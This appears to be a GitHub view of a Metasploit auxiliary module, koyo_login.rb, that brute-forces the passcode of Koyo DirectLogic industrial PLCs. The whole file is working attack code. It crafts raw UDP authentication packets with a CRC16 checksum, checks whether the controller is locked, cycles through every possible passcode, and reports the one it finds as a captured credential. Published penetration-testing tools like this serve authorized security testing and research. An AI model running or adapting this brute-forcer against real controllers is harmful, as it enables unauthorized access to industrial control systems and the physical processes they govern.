-
Notifications
You must be signed in to change notification settings - Fork 13.9k
/
koyo_login.rb
183 lines (158 loc) · 6.64 KB
/
koyo_login.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
# msfdev is going to want a bunch of other stuff for style/compat but this works
# TODO: Make into a real AuthBrute module, although the password pattern is fixed
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Udp
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Koyo DirectLogic PLC Password Brute Force Utility',
'Description' => %q{
This module attempts to authenticate to a locked Koyo DirectLogic PLC.
The PLC uses a restrictive passcode, which can be A0000000 through A9999999.
The "A" prefix can also be changed by the administrator to any other character,
which can be set through the PREFIX option of this module.
This module is based on the original 'koyobrute.rb' Basecamp module from
DigitalBond.
},
'Author' =>
[
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
'todb' # Metasploit fixups
],
'DisclosureDate' => 'Jan 19 2012',
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
]
)
register_options(
[
OptInt.new('RECV_TIMEOUT', [false, "Time (in seconds) to wait between packets", 3]),
OptString.new('PREFIX', [true, 'The prefix to use for the password (default: A)', "A"]),
Opt::RPORT(28784)
], self.class)
end
@@CCITT_16 = [
0x0000, 0x1021, 0x2042, 0x3063, 0x4084, 0x50A5, 0x60C6, 0x70E7,
0x8108, 0x9129, 0xA14A, 0xB16B, 0xC18C, 0xD1AD, 0xE1CE, 0xF1EF,
0x1231, 0x0210, 0x3273, 0x2252, 0x52B5, 0x4294, 0x72F7, 0x62D6,
0x9339, 0x8318, 0xB37B, 0xA35A, 0xD3BD, 0xC39C, 0xF3FF, 0xE3DE,
0x2462, 0x3443, 0x0420, 0x1401, 0x64E6, 0x74C7, 0x44A4, 0x5485,
0xA56A, 0xB54B, 0x8528, 0x9509, 0xE5EE, 0xF5CF, 0xC5AC, 0xD58D,
0x3653, 0x2672, 0x1611, 0x0630, 0x76D7, 0x66F6, 0x5695, 0x46B4,
0xB75B, 0xA77A, 0x9719, 0x8738, 0xF7DF, 0xE7FE, 0xD79D, 0xC7BC,
0x48C4, 0x58E5, 0x6886, 0x78A7, 0x0840, 0x1861, 0x2802, 0x3823,
0xC9CC, 0xD9ED, 0xE98E, 0xF9AF, 0x8948, 0x9969, 0xA90A, 0xB92B,
0x5AF5, 0x4AD4, 0x7AB7, 0x6A96, 0x1A71, 0x0A50, 0x3A33, 0x2A12,
0xDBFD, 0xCBDC, 0xFBBF, 0xEB9E, 0x9B79, 0x8B58, 0xBB3B, 0xAB1A,
0x6CA6, 0x7C87, 0x4CE4, 0x5CC5, 0x2C22, 0x3C03, 0x0C60, 0x1C41,
0xEDAE, 0xFD8F, 0xCDEC, 0xDDCD, 0xAD2A, 0xBD0B, 0x8D68, 0x9D49,
0x7E97, 0x6EB6, 0x5ED5, 0x4EF4, 0x3E13, 0x2E32, 0x1E51, 0x0E70,
0xFF9F, 0xEFBE, 0xDFDD, 0xCFFC, 0xBF1B, 0xAF3A, 0x9F59, 0x8F78,
0x9188, 0x81A9, 0xB1CA, 0xA1EB, 0xD10C, 0xC12D, 0xF14E, 0xE16F,
0x1080, 0x00A1, 0x30C2, 0x20E3, 0x5004, 0x4025, 0x7046, 0x6067,
0x83B9, 0x9398, 0xA3FB, 0xB3DA, 0xC33D, 0xD31C, 0xE37F, 0xF35E,
0x02B1, 0x1290, 0x22F3, 0x32D2, 0x4235, 0x5214, 0x6277, 0x7256,
0xB5EA, 0xA5CB, 0x95A8, 0x8589, 0xF56E, 0xE54F, 0xD52C, 0xC50D,
0x34E2, 0x24C3, 0x14A0, 0x0481, 0x7466, 0x6447, 0x5424, 0x4405,
0xA7DB, 0xB7FA, 0x8799, 0x97B8, 0xE75F, 0xF77E, 0xC71D, 0xD73C,
0x26D3, 0x36F2, 0x0691, 0x16B0, 0x6657, 0x7676, 0x4615, 0x5634,
0xD94C, 0xC96D, 0xF90E, 0xE92F, 0x99C8, 0x89E9, 0xB98A, 0xA9AB,
0x5844, 0x4865, 0x7806, 0x6827, 0x18C0, 0x08E1, 0x3882, 0x28A3,
0xCB7D, 0xDB5C, 0xEB3F, 0xFB1E, 0x8BF9, 0x9BD8, 0xABBB, 0xBB9A,
0x4A75, 0x5A54, 0x6A37, 0x7A16, 0x0AF1, 0x1AD0, 0x2AB3, 0x3A92,
0xFD2E, 0xED0F, 0xDD6C, 0xCD4D, 0xBDAA, 0xAD8B, 0x9DE8, 0x8DC9,
0x7C26, 0x6C07, 0x5C64, 0x4C45, 0x3CA2, 0x2C83, 0x1CE0, 0x0CC1,
0xEF1F, 0xFF3E, 0xCF5D, 0xDF7C, 0xAF9B, 0xBFBA, 0x8FD9, 0x9FF8,
0x6E17, 0x7E36, 0x4E55, 0x5E74, 0x2E93, 0x3EB2, 0x0ED1, 0x1EF0
]
def run_host(ip)
# Create a socket in order to receive responses from a non-default IP
@udp_sock = Rex::Socket::Udp.create(
'PeerHost' => rhost,
'PeerPort' => rport.to_i,
'Context' => {'Msf' => framework, 'MsfExploit' => self}
)
add_socket(@udp_sock)
print_status("#{rhost}:#{rport} - KOYO - Checking the controller for locked memory...")
if unlock_check
# TODO: Report a vulnerability for an unlocked controller?
print_good("#{rhost}:#{rport} - Unlocked!")
return
else
print_status("#{rhost}:#{rport} - KOYO - Controller locked; commencing bruteforce...")
end
# TODO: Consider sort_by {rand} in order to avoid sequential guessing
# or something fancier
(0..9999999).each do |i|
passcode = datastore['PREFIX'] + i.to_s.rjust(7,'0')
vprint_status("#{rhost}:#{rport} - KOYO - Trying #{passcode}")
bytes = passcode.scan(/../).map { |x| x.to_i(16) }
passstr = bytes.pack("C*")
res = try_auth(passstr)
next if not res
print_good "#{rhost}:#{rport} - KOYO - Found passcode: #{passcode}"
report_auth_info(
:host => rhost,
:port => rport.to_i,
:proto => 'udp',
:user => '',
:pass => passcode, # NOTE: Human readable
:active => true
)
break
end
end
def crc16(buf, crc=0)
buf.each_byte{|x| crc = ((crc << 8) ^ @@CCITT_16[( crc >> 8) ^ x]) & 0xffff }
[crc].pack("v")
end
def unlock_check
checkpacket = "HAP\xe6\x01\x6e\x68\x0d\x00\x1a\x00\x09\x00\x01\x50\x01\x02\x00\x01\x00\x17\x52"
@udp_sock.sendto(checkpacket, rhost, rport.to_i)
recvpacks = 0
# TODO: Since the packet count is critical, consider using Capture instead,
# but that requires root which is mildly annoying and not cross-platform.
# IOW, not a hugely good way to solve this via packet counting, given the nature
# of UDP.
#
# Another way to speed things up is to use fancy threading, but that's for another
# day.
while (r = @udp_sock.recvfrom(65535, 0.1) and recvpacks < 2)
res = r[0]
if res.length == 269 # auth reply packet
if res[17,1] == "\x00" and res[19,1] == "\xD2" # Magic bytes
return true
end
end
recvpacks += 1
end
return false
end
def try_auth(passstr)
data = "\x1a\x00\x0d\x00\x01\x51\x01\x19\x02\x04\x00" + passstr + "\x17\xaf"
header = "HAP"
header += "\xe5\x01" # random session ID
header += crc16(data)
header += [data.length].pack("v")
authpacket = header + data
@udp_sock.sendto(authpacket, rhost, rport.to_i)
2.times { @udp_sock.get(recv_timeout) } # talk to the hand
status = unlock_check
return status
end
def recv_timeout
if datastore['RECV_TIMEOUT'].to_i.zero?
3
else
datastore['RECV_TIMEOUT'].to_i.abs
end
end
end